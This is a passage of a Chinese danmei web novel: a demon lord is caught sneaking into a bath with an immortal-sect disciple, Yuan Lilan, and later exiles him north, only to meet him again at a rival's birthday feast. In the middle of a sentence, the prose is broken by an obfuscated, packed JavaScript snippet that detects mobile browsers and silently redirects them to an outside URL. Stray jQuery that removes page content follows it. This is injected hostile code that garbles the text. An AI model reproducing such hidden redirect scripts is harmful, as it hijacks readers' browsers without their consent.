又半个月后,
我摸黑潜入了自己魔宫的浴池。
却被抓了个正着。
妈的,这股浓烈的羞耻感,魔界还是本座可以为所欲为的地盘吗?
......
“前辈,想偷看我洗澡?”
苑厉阑一身薄透衣衫,我再来迟一步,他就脱了个一丝不/挂。
我老脸一红,立即恼羞成怒:
“闭嘴。”
来早了!!
那家伙衣衫若隐若现的一览无遗,更令人恼火!
不,心火直冒。
凭什么,他身材这么好?
苑厉阑倒是除了最初有几分意外,一张摘掉面具的绝色面容显得十分平静从容,没看出半点暴露真面目在我面前该有的慌乱:
“前辈是不是早就知道是我了?”
那淡然一笑,令我莫名想到了一个词“守株待兔”。
他该不会早就猜到,我会潜进来吧?
“苑厉阑,你藏得也不是很好啊。”不是还故意想让我发现吗?
那点小心思。
我偏不从他!
他轻笑了一声:“早知前辈发现了,我应该更早放肆些。”
我咬牙切齿瞪他:“你什么意思?”
你还不够放肆吗?
以为这是哪里?
这是我的魔界!本座的地盘。懂?!
任你一个仙门弟子来去自如,如鱼得水的样子。
还不够侮辱我魔界脸面吗?
这小子,总是一句话就能把我魔头的魔性都挑衅出来。
我不悦的眼神追着他从头到尾一顿窥探。
落在腰间松松垮垮的衣带上,咽了一下口水。
那处只要伸出一根手指勾碰,就会敞开了。
......
“前辈想看哪里?我可以脱。”苑厉阑顺着我垂涎的目光,低头审视自己半褪的衣衫。
腹沟线条深浅不一,春光明媚,令人流连忘返。
只不过,他这副公事公办的语气神情,
大概在我们之间摊开一本双修功法,他也可以一脸冷静且好学地进行细节探讨,而脸不红心不跳。
嘶,忘了他可是无情宗杰出弟子。
连这种桃色暧昧的时候,也能淡然处之。
煞风景极了!
不过,既然他都这么说了……
我趁机扣住他手腕,扒开他胸口衣衫,猛地凑近察细看:
“你是不是有办法克制魂裂?”
鼻息喷洒在他白皙的胸口皮肤上……散发着淡淡似玉兰冷醉的香气,皮肤却是又软又热的,令人爱不释手。
我趁机上下探查,多摸了几下。
“我,没有……”他却忽地扭头躲避,呼吸也急促了一瞬。
要不是他咬住了薄唇,感觉就要哼唧出声了。
呿,还以为他真的气定神闲呢。
“不可能,你身上没半点伤痕。”我戳破他,眼神转冷。
若他真有克制之法,那百年和平契约,就如同废纸。
倒是我作茧自缚了!
仙门要踏平我魔界,就差一个黄道吉日。
我的心下冷汗如雨。
......
“不过是一些障眼法而已。”他反握住我作乱的手腕,术法一捏,身上一道道深可见骨的魂裂伤痕立马显露了出来,“前辈看不出来吗?”
在魔界待得越久,只会越来越多,越裂越深!
不是我看不出来,而是,我一直忙着躲避他,并未真正关注过他。
我心尖刺痛,眉心皱死:
“你留在魔界到底是何居心?”
竟忍得住这些常人不能忍之痛!
刀刀入骨,日日割肉。
不疼吗?
“前辈不是一直都知道吗?”
他轻描淡写地扫视我一眼,慢条斯理拉回衣服,严丝合缝,像是怕那些伤口恶心到我。
我微微怔住。
我知道什么?
难道我还在仙门时,他们就背着我密谋了什么攻伐魔界大计?
他见我真的浑然不觉,眼神微微冻住,竟然难得有了脾气,一团冷雾一样欺压过来,把我压迫在门边退无可退。
......
“混账,你想做什么?”
他真敢?两次三番对我施展威压!
“苑厉阑!一次比一次更加不知收敛,胆子肥了?”
我莫不是真的招惹了个疯子?
“明明就是前辈先动手......的。”
趁我失神,苑厉阑把我欺压在门背上时,我竟仿佛失去了反抗的力气,腿脚酥软,如站云端。
呼吸变得又急又重!慌乱了......
他明明说的动“手”,眼神却落在我鼻尖之下,淡淡的薄唇上。
似火苗舔舐!
“前辈不该负责吗?”
我:……
怎么有股从未有过的危机感,油然而生!
-
我不该恼羞成怒的,更不该落荒而逃的。
但我却是这么做了,给了苑厉阑胸口狠狠的一拳,把他捶飞!
自己夺门而出......
真物理意义上的夺门,那可怜兮兮的木门被我拍得稀巴烂,轰然倒地。
魔宫侍卫:......
“咱魔君是偷看谁洗澡被抓包了,恼羞成怒?”
不一会儿,受害人厉司领从里面云淡风轻地走了出来。
侍卫:......
如此美貌的厉司领,就解释得通了。
……
不知风评被害的我此刻愁死了。
何时,面对这位正道首徒时,本座竟然真失去了力气和手段?
有股不知如何是好的浑身燥热......
猛灌了几壶冷酒下去,被他一句“不该负责吗”刺激得浑身发烫的我竟是亦发清醒了几分。
我冷冷摔碎酒壶,狠狠道:“来人。”
酒液洒落一地,满地狼藉。
卫风很快出现:“君上,有什么吩咐?”
我眉眼似冰:“去!把那个厉司领遣送到北方魔毒之地。”
死一死。
卫风诧异:“他犯了什么错?要流放去那种地方?”
哼,流放?
我面无表情:“自然是为了他好。多磨练磨练!”
我不信苑厉阑的满嘴胡言,他能隐忍付出这么惨痛的代价。
怎么可能就为了我与他那一点私
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338138|199264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仇?
非我族类其心必异,我不得不防。
本座不可能还天真地寄望于他会顾念我们仙门时,前后辈那丁点儿情分。
况且那点微薄情分......提起更糟心。
毕竟我也是潜伏过仙门接近百年的魔头,他也许也是为此而来。
打探摸清我的底细?
因情绪激动引发旧伤,我猛咳了几口血沫,却举杯灌酒一起强咽下了。
卫风不敢此刻触我逆鳞:“属下立马去赶他走......”
要不是因为苑厉阑忽然出手,害我重伤了自己,我何至于处境这么狼狈,难上加难?雪上加霜?
眼下是既怕被其他魔族发现端倪,群起攻之拆骨入腹,又因只能偷偷疗伤的进度龟速得令我火大。
这一切,都怪苑、厉、阑!
不知从何时起,这小子就是来克我的。
我暂时对付不了他,那就让他滚远点。
待本座恢复,必定第一个劈了他。
-
卫风动作利索,当晚就二话不说把人打包送去了北地!
没了苑厉阑出现在跟前的日子,顿觉诸事顺遂。
即使依然每日应付暗杀,逼宫,谋害,
还有……
北方少主临安频繁派魔鸦送信来......职场骚扰我。
言语的恶意调戏,算不得什么工伤。
但,免不了总要碰面。
临安十分清楚,且有耐心等候时机。
他就像个遥坐一方的霸主,对我这个被困魔宫囚笼的儿时玩物,势在必得。
明目张胆地,想把我当作猎物?
哼,我把手中那只送信的魔鸦一掌冥火烤成灰渣渣。
连同它送到的那封骚扰我的信件。
信上说,临安一个月后寿宴。
本可置之不理,但他算准了,最近北方魔军气势如虹连续收服多处失地。
这事,我必须要给他面子。
而且,卫风替我找寻许久的疗伤圣药,也在北方有了消息。
-
临安毕竟是一方少主,还是魅魔里的顶级魅魔,迷恋倾慕之人,不计其数。
不过是办个寿宴,半个魔界都闻风而动,给他祝贺。
比我魔宫任何一次宴会都要热闹盛大。
想起在仙门时,仗着我是仙门年纪最小的长老,我的寿辰也有过之而无不及。
绝不是因为我乃半个魅魔,纯纯老子路人缘好。
正坐最高云台上感触良多呢。
忽地,有一队人马遥遥而至,如同春色忽来,千树花开,吸引了全场人的目光。
尤其被簇拥在中间的男人,一身玄铁黑甲踏碎花泥而来,半张金属面具之下的脸,俊美绝尘。
......
三个月不见。
当初送苑厉阑去北方魔毒之地,还有一个目的。
既然此人非常爱找麻烦,临安也十分不安分。
两个祸害在一处,若是能互相折磨,那再好不过了。
要是能相互干掉其中之一,更可喜可贺了。
显然,本座再次失算了。
“他为何又在此?”
卫风:......
这题,我熟。